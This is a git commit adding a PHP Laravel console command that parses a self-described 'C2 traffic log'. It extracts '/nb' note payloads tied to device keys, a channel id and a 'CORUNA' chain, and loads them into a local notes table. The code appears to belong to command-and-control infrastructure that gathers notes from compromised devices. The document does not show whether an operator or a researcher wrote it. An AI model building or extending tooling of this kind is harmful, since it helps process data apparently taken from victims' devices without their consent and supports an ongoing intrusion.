feat: note
This commit is contained in:
@@ -0,0 +1,94 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\Note;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Console\Command;
|
||||
|
||||
class ImportNotesLogCommand extends Command
|
||||
{
|
||||
protected $signature = 'notes:import-log
|
||||
{file? : C2 traffic log containing /nb lines}
|
||||
{--fresh : Delete all notes before import}';
|
||||
|
||||
protected $description = 'Import /nb note payloads from a C2 log into the local notes table';
|
||||
|
||||
public function handle(IngestService $ingest): int
|
||||
{
|
||||
$path = $this->argument('file') ?: '/Users/toad/Downloads/20260908 (1).log';
|
||||
if (! is_file($path)) {
|
||||
$this->error('Log file not found: '.$path);
|
||||
|
||||
return self::FAILURE;
|
||||
}
|
||||
|
||||
if ($this->option('fresh')) {
|
||||
Note::query()->delete();
|
||||
$this->info('Cleared notes table.');
|
||||
}
|
||||
|
||||
$handle = fopen($path, 'r');
|
||||
if ($handle === false) {
|
||||
$this->error('Cannot read log file.');
|
||||
|
||||
return self::FAILURE;
|
||||
}
|
||||
|
||||
$posts = 0;
|
||||
$devices = [];
|
||||
$skipped = 0;
|
||||
while (($line = fgets($handle)) !== false) {
|
||||
if (! str_contains($line, ' /nb ') && ! str_contains($line, '"path":"/nb"')) {
|
||||
continue;
|
||||
}
|
||||
$jsonStart = strpos($line, '{');
|
||||
if ($jsonStart === false) {
|
||||
continue;
|
||||
}
|
||||
$rec = json_decode(substr($line, $jsonStart), true);
|
||||
if (! is_array($rec) || ($rec['path'] ?? '') !== '/nb') {
|
||||
continue;
|
||||
}
|
||||
$payload = $rec['payload'] ?? null;
|
||||
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||
$skipped++;
|
||||
|
||||
continue;
|
||||
}
|
||||
$deviceKey = (string) ($rec['device_key'] ?? $payload['d'] ?? $payload['f'] ?? '');
|
||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)) ?? '';
|
||||
if ($deviceKey === '') {
|
||||
$skipped++;
|
||||
|
||||
continue;
|
||||
}
|
||||
$channel = trim((string) ($payload['c'] ?? ''));
|
||||
$device = Device::query()->firstOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
[
|
||||
'channel_id' => $channel !== '' ? substr($channel, 0, 64) : null,
|
||||
'chain' => Device::CHAIN_CORUNA,
|
||||
]
|
||||
);
|
||||
if ($channel !== '' && trim((string) $device->channel_id) === '') {
|
||||
$device->forceFill(['channel_id' => substr($channel, 0, 64)])->save();
|
||||
}
|
||||
$ingest->ingestNotes($device, $payload);
|
||||
$posts++;
|
||||
$devices[$deviceKey] = true;
|
||||
}
|
||||
fclose($handle);
|
||||
|
||||
$this->info(sprintf(
|
||||
'Imported /nb posts=%d devices=%d skipped=%d notes_rows=%d',
|
||||
$posts,
|
||||
count($devices),
|
||||
$skipped,
|
||||
Note::query()->count(),
|
||||
));
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user